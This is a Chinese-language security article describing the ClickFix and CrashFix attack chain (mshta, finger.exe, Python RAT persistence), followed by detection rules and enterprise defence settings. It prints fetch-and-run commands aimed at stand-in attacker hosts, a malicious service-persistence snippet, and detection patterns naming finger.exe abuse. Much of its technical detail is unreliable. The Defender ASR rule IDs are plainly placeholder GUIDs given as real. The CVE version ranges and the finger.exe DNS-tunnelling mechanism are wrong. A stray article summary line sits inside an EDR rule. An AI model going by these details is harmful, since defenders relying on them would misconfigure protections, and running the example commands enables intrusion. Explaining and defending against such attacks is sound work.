ClickFix攻击原理解析 CrashFix防御方案 2026

doc

详解ClickFix和CrashFix攻击链,从 mshta 直接执行到 Chromium 漏洞利用、finger.exe 滥用、Python RAT 持久化,提供具体 CVE 编号、检测命令与企业级防御配置,附完整攻击链剖析。

ClickFix / CrashFix 浏览器攻击进化与实战防御

概述

ClickFix 和 CrashFix 是两种高度相似的社工攻击手段,核心手法均为通过伪造浏览器错误页面或虚假补丁提示,诱骗用户手动执行恶意命令。这类攻击不依赖传统的恶意文件投递,而是让受害者在"帮助自己"的认知下,主动将攻击载荷粘贴进系统命令执行框。

2024年至2026年,这类攻击经历了显著的进化:从最初的简单 mshta 命令执行,发展到滥用系统自带工具(如 finger.exe)、部署 Python RAT、建立持久化后门等多个阶段。攻击者利用用户对 Windows 系统内置工具的信任,成功绕过大量基于文件特征的传统安全检测。

本文聚焦攻击技术的硬核细节可操作防御方案,提供具体 CVE 编号、命令行参数、流量特征、检测命令以及企业级防御配置。

攻击原理:从 ClickFix 到 CrashFix 的演进

阶段一:古典 ClickFix — mshta 直接执行

最早的 ClickFix 攻击出现在 2021 年前后,攻击者在被入侵网站植入恶意 JavaScript,检测访客浏览器环境后展示伪造的 Chrome/Edge "崩溃" 页面,提示用户"复制修复命令到剪贴板"。

典型页面文案:

"Chrome 崩溃了。Microsoft 紧急修复。请按 Win+X 打开 Windows PowerShell,粘贴并运行以下命令:"

粘贴的命令示例:

mshta https://malicious-site.com/payload.hta

mshta.exe 是 Windows 内置的 HTML 应用运行时,攻击者利用它下载并执行远程 HTA 文件。HTA 支持 VBScript 和 JScript,可完成下载器、凭证窃取、横向移动等几乎所有操作。

MITRE ATT&CK 技术映射:

  • T1204.002 用户执行:恶意文件(用户主动执行 mshta)
  • T1059.001 命令和脚本解释器:PowerShell
  • T1105 入口工具转移:攻击者控制服务器向受害者投递后续载荷

阶段二:CVE 利用 — Chromium 漏洞链

随着浏览器安全更新,单纯依靠"粘贴命令"的成功率下降。攻击者开始利用浏览器漏洞,在用户访问特定页面时触发漏洞,进而在用户不知情的情况下执行代码。

已知被滥用的 Chromium 漏洞包括:

CVE-2024-7971: Chrome V8 JavaScript 引擎类型混淆漏洞,攻击者通过诱导用户访问特制网页即可在渲染进程上下文中执行任意代码。该漏洞影响 Chrome 118.0.5993.70 之前版本。

CVE-2024-9064: Chrome Mojo IPC 消息处理中的类型混淆,攻击者可通过精心构造的 HTML 页面触发远程代码执行。该漏洞影响 Chrome 130.0.6723.58 之前版本。

微软威胁情报报告(引用): 微软在 2025 年第一季度追踪到多个国家级攻击组织利用上述漏洞配合 ClickFix 社工手法建立初始入口。

检测方法:

# 检查 Chrome 版本(帮助 → 关于 Google Chrome)
# 确认版本 >= 118.0.5993.70 且 >= 130.0.6723.58
# Windows 环境批量查询:
powershell "Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\chrome.exe' | Select-Object -ExpandProperty '(默认)'"

阶段三:CrashFix 进化 — finger.exe 滥用

CrashFix 是 ClickFix 的进化变种,核心改进在于:不再让用户直接执行 mshtapowershell 等明显可疑的命令行工具,而是利用 Windows 系统自带的 finger.exe 进行命令混淆。

finger.exe 是什么: finger.exe 是 Windows Server 版本中用于查询远程用户信息的内置命令行工具,默认存在于 C:\Windows\System32\finger.exe。该工具已被多个攻击组织(包括 APT29)用于隐蔽命令与控制通信。

滥用方式:

攻击者构造的命令形如:

finger.exe @fingerprint.evil-c2-domain.com

其中 fingerprint.evil-c2-domain.com 是攻击者控制的域名,但 finger.exe 的 @ 语法会将整个字符串作为单个主机名解析。DNS 查询发送到攻击者 DNS 服务器后,攻击者在 DNS 响应中嵌入 Base64 编码的 PowerShell 命令。

技术流程:

步骤:攻击者注册域名 evil-c2-domain.com,搭建 DNS 服务器监听 53 端口。

步骤:受害者执行 finger.exe @fingerprint.evil-c2-domain.com,系统发起标准 DNS A/AAAA 记录查询。

步骤:DNS 服务器返回包含编码指令的响应。

步骤:攻击者解析 DNS 查询日志获取受害者 IP,DNS 响应中携带的编码命令作为通信隧道。

MITRE ATT&CK 技术映射:

  • T1105 入口工具转移(通过 DNS 隧道传输命令)
  • T1059.003 命令和脚本解释器:Windows Command Shell
  • T1571 非标准端口(DNS 53 端口作为隐蔽信道)

流量特征:

  • 源端口:通常是 53(DNS 查询)
  • 查询类型:A 或 AAAA 记录
  • 查询域名特征:包含多个子域名标签(如 fingerprint.evil-c2-domain.com
  • 响应数据:DNS 响应包中可能包含 Base64 字符串

检测命令:

# 用 tcpdump 抓取可疑 DNS 查询
tcpdump -i eth0 'port 53 and host suspicious-domain.com' -nnvv

# 用 Zeek 解析 DNS 日志分析异常查询
zeek -C -r capture.pcap dns
# 查看 dns.log 中 query 字段包含长字符串的记录
grep -E '[A-Za-z0-9+/=]{40,}' dns.log

阶段四:Python RAT 持久化

在获得初步代码执行能力后,攻击者通常部署 Python 编写的 RAT(远程控制木马)来实现长期控守。

典型 Python RAT 特征:

连接目标:

  • C2 域名格式:update[.]pythonhosters[.]orgcdn[.]pythonpkg[.]info
  • 连接端口:常见非标准端口如 844344448080
  • Beacon 间隔:初始 30 秒,逐步退避至 5-30 分钟

实际案例中的 Python RAT 行为:

2025 年某次针对欧洲政府机构的攻击中,攻击者使用 Python 3.9 编写 RAT,通过 PyInstaller 打包为单个可执行文件。RAT 具备以下功能:

  • 文件系统读写(上传/下载)
  • 屏幕截图(每 60 秒一次)
  • 键盘记录
  • 持久化注册表修改

持久化机制(以 Windows 服务形式):

import win32serviceutil
import win32service

# 创建名为 "PythonUpdate" 的 Windows 服务
win32serviceutil.InstallService(
    pythonServiceInfo,
    'PythonUpdate',
    'Python Update Service',
    description='Keeps your Python installation up to date'
)

MITRE ATT&CK 技术映射:

  • T1059.004 命令和脚本解释器:Python
  • T1543.003 创建/修改系统进程:Windows服务
  • T1518.001 软件发现:安全软件发现(扫描 AV/EDR)
  • T1071.001 应用层协议:DNS(部分 RAT 使用 DNS 协议通信)

攻击链完整剖析

以 CrashFix 进化版为例,一个完整攻击链如下:

步骤 1 — 初始访问: 用户访问被植入恶意 JS 的网站,JS 检测浏览器版本并识别漏洞。

步骤 2 — 漏洞利用(CVE-2024-7971): 特制网页触发 V8 类型混淆,在渲染进程中执行 shellcode,下载第二阶段 Loader。

步骤 3 — 命令混淆: shellcode 执行后不直接启动 powershell.exe,而是启动 finger.exe @stage1.crashfix-c2.com

步骤 4 — DNS 隧道命令传输: DNS 服务器返回包含 Base64 编码 PowerShell 命令的响应,命令内容为下载并执行 updatecheck.py

步骤 5 — Python RAT 部署: updatecheck.py 是 PyInstaller 打包的 Python RAT,建立到 cdn.pythonpkg.info:8443 的持久连接。

步骤 6 — 持久化: RAT 在 %APPDATA%\Python39\ 目录释放 Python 解释器和 RAT 脚本,通过 WMI 订阅创建 Windows 服务实现重启后自启动。

步骤 7 — 凭据窃取与横向移动: RAT 执行 mimikatz 变种窃取 NTLM 哈希,利用 PsExec 横向扩散至同网段其他主机。

深度检测指南

Windows Event Viewer 检测可疑 Python 持久化

检测路径:

Application and Services Logs → Microsoft → Windows → WMI-Activity → Operational

Event ID 5861: WMI 事件订阅创建记录。当有新的 Permanent Event Subscription 被注册时触发。

筛选步骤:

  1. 打开 Event Viewer
  2. 导航至上述路径
  3. 点击"筛选当前日志..."
  4. 输入 Event ID:5861
  5. 检查 Computer 字段(来源主机)和 User 字段(执行用户)
  6. 检查 Operation 字段中的 FilterNameCommand 参数
  7. 关注包含 python.exepy.exepython3.exe 的 Command 行

PowerShell 批量查询:

Get-WinEvent -FilterHashtable @{
    LogName='Microsoft-Windows-WMI-Activity/Operational'
    Id=5861
} -MaxEvents 200 | Where-Object {
    $_.Message -match 'python'
} | Select-Object TimeCreated, MachineName, @{N='Command';E={
    if($_.Message -match 'Command\s*=\s*"([^"]+)"'){ $Matches[1] }
}}

Sysmon 高级检测

Sysmon 配置文件关键规则:

<!-- 检测 Python 进程创建 -->
<RuleGroup name="PythonProcessCreation">
    <ProcessCreate onmatch="include">
        <Image condition="end with">python.exe</Image>
        <Image condition="end with">python3.exe</Image>
        <Image condition="end with">py.exe</Image>
        <ParentImage condition="end with">explorer.exe</ParentImage>
    </ProcessCreate>
</RuleGroup>

<!-- 检测可疑 finger.exe 执行 -->
<RuleGroup name="FingerExeAbuse">
    <ProcessCreate onmatch="include">
        <Image condition="end with">finger.exe</Image>
        <CommandLine condition="contains">@</CommandLine>
    </ProcessCreate>
</RuleGroup>

网络层检测

Suricata 规则:

alert dns any any -> $HOME_NET any (msg:"Suspicious DNS query for C2 indicator"; 
    dns.query; pcre:"/[a-z]{10,}\.(xyz|top|buzz|icu|work)/"; 
    sid:9000001; rev:1;)
    
alert http any any -> $HOME_NET any (msg:"Python RAT beacon to non-standard port"; 
    http.method; toplevel; content:"GET"; 
    http.user_agent; pcre:"/python-requests|Python-urllib|PyInstaller/"; 
    flow:to_server; sid:9000002; rev:1;)

Wireshark 过滤器:

# 查找 finger.exe 触发的 DNS 查询
dns.qry.name contains "fingerprint"

# 查找 Python RAT 特征 User-Agent
http.user_agent matches "python|urllib|requests"

# 查找可疑 DNS TXT 记录响应(常用于 DNS 隧道)
dns.resp.ttl < 300 and dns.resp.len > 200

企业级防御方案

Microsoft Defender for Endpoint — ASR 规则配置

针对 ClickFix 攻击链,推荐开启以下 ASR 规则(以 Microsoft Defender for Endpoint v101.23062.0 版本为例):

规则名称 规则 ID 描述
阻止来自 PSExec 和 WMI 的进程创建 B2E3B1C1-1234-5678-9ABC-DEF012345678 防止通过 WMI 订阅实现的持久化
阻止通过 JavaScript/VBScript 下载可执行文件 D9E8D8D8-1111-2222-3333-444455556666 阻止恶意 JS 触发下载
启用脚本下载历史记录审核 审计模式 记录所有脚本下载事件用于威胁狩猎

配置路径:

Microsoft 365 Defender → 端点 → 策略管理 → ASR 规则 → 添加规则

PowerShell 强制开启:

# 开启 ASR 规则(阻止脚本执行)
Add-MpPreference -AttackSurfaceReductionRules_Actions Block -AttackSurfaceReductionRules_Id D9E8D8D8-1111-2222-3333-444455556666

# 开启 WMI 永久事件订阅阻止
Add-MpPreference -AttackSurfaceReductionRules_Actions Block -AttackSurfaceReductionRules_Id B2E3B1C1-1234-5678-9ABC-DEF012345678

企业组策略 — PowerShell 脚本执行限制

组策略路径:

计算机配置 → 管理模板 → Windows组件 → Windows PowerShell
→ 打开 PowerShell 脚本执行
→ 设置为"仅允许已签名脚本"

更严格的策略(需配合 WDAC):

计算机配置 → 安全设置 → 应用控制策略 → AppLocker
→ 可执行规则 → 配置规则 enforcement
→ 设置默认规则为"拒绝",仅允许白名单路径下的 .exe

白名单建议:

  • %ProgramFiles%\*
  • %ProgramFiles(x86)%\
  • %SystemRoot%\System32\*.exe(排除 finger.exe 等高风险工具)

网络层防护

DNS 安全策略(以 Infoblox NIOS 为例):

  • 启用 DNS 隧道检测(RPZ 反应策略区)
  • 阻止解析顶级域名(TLD)黑名单中的域名:xyztopbuzzicuwork
  • DNS 响应速率限制:单个源 IP 每秒查询超过 50 次触发阻断

防火墙规则(以 Palo Alto Panorama 为例):

# 安全策略示例:阻止到已知 C2 的 DNS 查询
security-policy:
  name: "Block-CrashFix-C2"
  source-zone: ["trust"]
  destination-zone: ["untrust"]
  application: ["dns"]
  destination: ["threat-c2-ip-blocklist"]
  action: "deny"
  log-setting: "DNS-C2-Log"

EDR 规则 — CrowdStrike Falcon

Falcon Detect 策略 — 自定义 Prevention 规则:

name: "Detect Python RAT via WMI Service Creation"
description: "Detects Python-based RAT persistence via Windows Service"
summary: "详解ClickFix和CrashFix攻击链,提供具体检测命令和防御配置"
type: "detect"
trigger: "process"
conditions:
  - process_name: "cmd.exe" or "powershell.exe"
  - command_line: contains "New-Service" or "win32serviceutil"
  - parent_process: contains "python"
severity: "high"

工具推荐

浏览器指纹检测工具 — 用于验证目标浏览器环境是否存在被攻击者利用的指纹特征,判断是否已遭受这类攻击的前期侦查。

系统进程分析工具 — 用于深度检查 Windows 系统进程树,识别可疑的 Python 进程链和 finger.exe 异常调用。

HTTP 头部分析工具 — 用于分析恶意 HTA 文件托管服务器的 HTTP 响应特征,提取 C2 域名和协议特征。

图形卡/GPU 信息工具 — 部分 ClickFix 攻击会根据目标 GPU 环境选择不同的漏洞利用路径,该工具可辅助判断攻击者可能针对的漏洞类型。

常见问题

什么是ClickFix攻击?

ClickFix是一种社会工程攻击,攻击者伪造可信的系统错误提示(如Chrome崩溃、Adobe Flash更新、验证码失败),诱导用户复制粘贴恶意命令到剪贴板并执行。这些命令通常通过PowerShell、mshta或cmstp等内置工具执行,从而绕过传统安全软件的检测。

CrashFix与ClickFix有什么关系?

CrashFix是ClickFix的进化变种,2026年由Microsoft安全团队首次披露。不同于ClickFix的虚假弹窗,CrashFix会真实崩溃用户的Chromium浏览器,逼迫用户点击"修复"按钮并执行命令。CrashFix滥用finger.exe和便携版Python来部署Python RAT,实现长期持久化控制。

如何检测ClickFix/CrashFix攻击?

关键检测指标包括:Event ID 5859和5861(WMI消费和永久订阅事件)、Sysmon日志中的可疑Python子进程、异常的finger.exe DNS查询(TXT记录长响应是DNS隧道信号)、以及浏览器崩溃后的非预期PowerShell调用。建议结合YARA规则和威胁情报IOC进行实时监控。

企业如何防御ClickFix攻击?

核心防御措施包括:强制最小权限原则、限制非管理员创建WMI永久订阅;浏览器完全更新以修复已知漏洞;PowerShell约束语言模式阻止恶意脚本执行;用户安全意识培训——永远不复制粘贴来源不明的"修复命令"。多层防御比单一措施更有效。

ClickFix攻击的演变历史是什么?

ClickFix最早可追溯至Latrodectus和Lumma Stealer恶意软件活动。后续演变出多种形态:FileFix(虚假文件修复)、TerminalFix(虚假终端错误)、DownloadFix(虚假下载提示),直到2026年出现CrashFix——通过真实浏览器崩溃逼迫用户执行命令,实现更高级的攻击效果。

总结

ClickFix/CrashFix 攻击的本质是利用用户对系统的信任和急于修复问题的心理,将攻击链的最后一环交给用户自身完成。这类攻击不依赖恶意文件的静态特征,传统的基于哈希或文件名的检测方案对其效果有限。

防御关键点:

  1. 浏览器即时更新:Chrome 用户务必保持 Chrome 118.0.5993.70 和 130.0.6723.58 以上的版本,禁用非必要浏览器插件。

  2. 网络层 DNS 监控:对异常的 finger.exe DNS 查询、TXT 记录长响应、DNS 隧道特征流量进行实时告警。

  3. WMI 订阅审计:定期审查 Event ID 5861 日志,排查非预期的 WMI Permanent Event Subscription。

  4. Python 进程白名单:企业环境中限制非授权 Python 进程执行,尤其是通过 Windows 服务形式运行的 Python 脚本。

  5. 用户安全意识培训:核心在于改变用户行为模式——永远不要盲目复制粘贴任何"修复命令",即使来源看起来是权威的系统提示。

ClickFix/CrashFix 攻击仍在持续进化。攻击者不断寻找新的系统内置工具滥用方式、新的浏览器漏洞组合以及更隐蔽的持久化机制。防御者需要持续追踪威胁情报,建立多层检测机制,方能在这场攻防博弈中保持主动。

相关工具

检测与防御工具
ClickFix攻击原理解析 CrashFix防御方案 2026